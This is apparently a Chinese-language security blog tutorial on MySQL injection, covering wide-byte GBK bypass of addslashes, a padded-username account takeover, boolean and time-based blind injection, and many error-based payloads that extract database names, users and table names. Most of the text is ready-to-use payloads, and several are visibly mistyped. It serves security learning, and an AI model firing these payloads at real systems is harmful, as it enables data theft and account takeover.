YYK's Blog

SQL注入(二)

Word count: 2.2kReading time: 9 min
2020/03/15 Share

SQL注入两大类:

  1. 字符型注入
    例如:http://XXX.com/sql/id=ok ,这里页面显示’ok’时,即为字符型型注入
  2. 数字型注入:
    例如:http://XXX.com/sql/id=1 , 这里的id不需要闭合引号
    简单来说,在于有无引号的区别,字符型可以是字符和数字,但是数字型只能是数字

    宽字节注入

    宽字节注入是一个针对GBK的注入
    以下是addslashes()函数,此函数为常见防SQL注入的函数
    在这里插入图片描述
    那么绕过的方法有两种:
  3. 例如我们需要 ‘ 进行报错,那么我们前面再次加上\,得出\‘,使其转义,’生效
  4. '的url编码为%5c%27,如果我们加上%df,得出%df%5c%27,变成運’,在这里需注意的是,我们用到的是gbk格式的url编码,这里因为MySQL使用gbk进行编码的,所以可以达到目的。

基于约束的SQL攻击

适用于以下场景:
对于用户名数据库进行了位数约束,比如限制只能为20位,管理员的用户名为admin,我们不知道密码,那么我们就可以通过写入

1
admin                                                   x,密码:123456

这时数据库会将其认为是admin,那么我们就可以通过123456进行登陆。数据库的代码为

1
insert into user values('','admin                                                  x','123456')

SQL盲注

布尔盲注:

1. left(database(),1) > ‘s’

1
2
3
4
5
left()指得到字符串从左算起指定个数的字符
示例:left(string, n)

left(database(),1) > 's' 表示数据库名第一位是否大于's'
left(database(),2) > 'ab' 表示数据库名前两位是否大于'ab'

2. substr((select database()),1,1) = ‘a’

1
2
3
4
5
6
7
substr()和substring()实现功能均为截取字符串
示例:substr(string, start, length)
substring(string, start, length)
第一个参数为要处理的字符串,第二个为开始位置,第三个为截取长度

substr((select database()),1,1) = 'a' 表示查看数据库名第一位是否等于'a'
substr((select database()),2,1) = 'a' 表示查看数据库名第二位是否等于'a'

3. ascii(), ord(), mid()函数

1
2
3
4
5
6
7
8
9
ascii():将字符变为ascii码
ord():同ascii()

mid():截取字符串**一部分**
示例:mid(string, start, length)
eg:string = "123456" mid(str, 2, 1) 结果为2

ascii(substr((select database()),1,1)) = 108
ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1)) >98 --+

4. regexp正则注入,like匹配注入

1
2
3
4
首先注意的是,此方法不能用做mssql。但是mysql同时支持like和regexp匹配,不过方法不同。

eg:select user() regexp '^ro'
select user() like 'ro%'

具体可查看关于正则表达式详细讲解

时间盲注:

1. If(ascii(substr(database(),1,1))>115,0,sleep(5))

1
2
3
4
if():判断然后返回值

示例:IF(condition, value_if_true, value_if_false)
Less-5/?id=1' and If(ascii(substr(database(),1,1))>115,0,sleep(10)) --+

2. select sleep(find_in_set(mid(user(), 1, 1), ‘a,w,t,r’)); ( user()为root@localhost )

1
2
3
4
5
6
find_in_set():查询str是否在strlist里

示例:FIND_IN_SET(str,strlist)

mysql> SELECT FIND_IN_SET('b', 'a,b,c,d');
-> 2 因为b 在strlist集合中放在2的位置 从1开始

下图是可被查询到的结果,我们可以看到sleep了一段时间,经测试发现,睡眠时间每次不定,不利于用作真实渗透测试
可查询到
下图是未被查询到的结果,我们可以看到没有sleep
未查询到

3. UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M

SG’,’by 5 seconds’)),null) FROM (select database() as t1;

1
2
3
4
5
6
7
8
9
上面有说到benchmark()函数和encode()函数,下面我们仔细说下

endoce():使用key对text进行加密
示例:ENCODE('text','key');

BENCHMARK():可控制次数的执行函数
示例:benchmark(count,expr) count为次数,expr为要执行的表达
式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执
行成功。这是一种边信道攻击,可在运行过程中占用大量的 cpu 资源。
1
2
SELECT IF(  SUBSTRING(current,1,1)=CHAR(119),    BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’))     ,  null) FROM (select database() as current) as t1;
将其分开可看到此语句是通过先判断当前数据库名第一位是否为猜测值,如果是,则执行benchmark()函数,否为返回null

下图是执行次数大小效果的对比

执行效果
因为不是很建议用上面那个函数,下面列出几种函数(取自《白帽子讲安全》)
在这里插入图片描述

报错盲注:

程序将错误信息输出到了页面上,其格式有多种,大体如下(重点讲解Duplicate entry报错,Xpath报错,整形溢出报错)

1.Duplicate entry报错:

1
2
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
as a from information_schema.columns group by a;

原理是查询时会建立临时表存储数据,不存在键值就插入,group by使插入前rand()会再执行一次,存在就直接值加1。以上用到几种函数:count(), concat(), floor(),rand(),简单说下:

  1. count() 函数返回与指定条件匹配的行数。
    eg:SELECT COUNT(column_name) FROM table_name WHERE condition;

  2. concat() 函数将两个或多个表达式加在一起。
    返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

1
2
3
4
5
6
7
mysql> select concat('11','22','33');
+------------------------+
| concat('11','22','33') |
+------------------------+
| 112233 |
+------------------------+
1 row in set (0.00 sec)

MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL

1
2
3
4
5
6
7
mysql> select concat('11','22',null);
+------------------------+
| concat('11','22',null) |
+------------------------+
| NULL |
+------------------------+
1 row in set (0.00 sec)
  1. floor() 函数返回小于或等于数字的最大整数值。并向下取整排列。
    eg:SELECT FLOOR(25.75) AS FloorValue; 结果:25

  2. rand() 函数返回 [0,1) 的随机数。
    eg:SELECT RAND(); 结果:0.455611560918029等
    查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。
    查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。
    查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。
    例如通过floor报错,注入语句如下:

    1
    and select 1 from (select count(),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1
2
3
4
5
6
7
8
9
10
11
最上面那个sql语句可以简化成这个
select count(*) from information_schema.tables group by concat(user(),
floor(rand(0)*2));

如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union
select !1) group by concat(user(),floor(rand(0)*2));

如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(passwo
rd,@a:=(@a+1)%2);

2.Xpath报错(Mysql5.1.5):

以下两个函数都可为xml进行查询修改,最大爆出32位
例如(2)通过ExtractValue报错,注入语句如下:

1
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

(3)通过UpdateXml报错,注入语句如下:

1
and 1=(updatexml(1,concat(0x3a,(select user())),1))

这里介绍以下updatexml()语法:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

3.exp报错和整形溢出报错(Mysql>5.5.5):

exp(x):计算e的x次方
有两种方法:
1.exp进行报错,原理是Exp()超过710会产生溢出。

1
eg payload: select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

2.bigint溢出报错,原理是将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。

1
eg payload:!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

点击上面的方法,可查看讲的很不错的文章。

4.数据重复报错(低版本):

通过NAME_CONST报错,注入语句如下:

1
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;

mysql 重复特性,此处重复了 version,所以报错。
(拿个小本本记下来,因为只搞到version()就比较鸡肋,求大佬解决)

5.其他报错注入:

通过join报错,注入语句如下:

1
select * from(select * from mysql.user ajoin mysql.user b)c;

通过GeometryCollection()报错,注入语句如下:

1
and GeometryCollection(()select *from(select user () )a)b );

通过polygon ()报错,注入语句如下:

1
and polygon (()select * from(select user ())a)b );

通过multipoint ()报错,注入语句如下:

1
and multipoint (()select * from(select user() )a)b );

通过multlinestring ()报错,注入语句如下:

1
and multlinestring (()select * from(selectuser () )a)b );

通过multpolygon ()报错,注入语句如下:

1
and multpolygon (()select * from(selectuser () )a)b );

通过linestring ()报错,注入语句如下:

1
and linestring (()select * from(select user() )a)b );
CATALOG
  1. 1. SQL注入两大类:
    1. 1.1. 宽字节注入
    2. 1.2. 基于约束的SQL攻击
    3. 1.3. SQL盲注
      1. 1.3.1. 布尔盲注:
        1. 1.3.1.1. 1. left(database(),1) > ‘s’
        2. 1.3.1.2. 2. substr((select database()),1,1) = ‘a’
        3. 1.3.1.3. 3. ascii(), ord(), mid()函数
        4. 1.3.1.4. 4. regexp正则注入,like匹配注入
      2. 1.3.2. 时间盲注:
        1. 1.3.2.1. 1. If(ascii(substr(database(),1,1))>115,0,sleep(5))
        2. 1.3.2.2. 2. select sleep(find_in_set(mid(user(), 1, 1), ‘a,w,t,r’)); ( user()为root@localhost )
        3. 1.3.2.3. 3. UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M
      3. 1.3.3. 报错盲注:
        1. 1.3.3.1. 1.Duplicate entry报错:
        2. 1.3.3.2. 2.Xpath报错(Mysql5.1.5):
        3. 1.3.3.3. 3.exp报错和整形溢出报错(Mysql>5.5.5):
        4. 1.3.3.4. 4.数据重复报错(低版本):
        5. 1.3.3.5. 5.其他报错注入: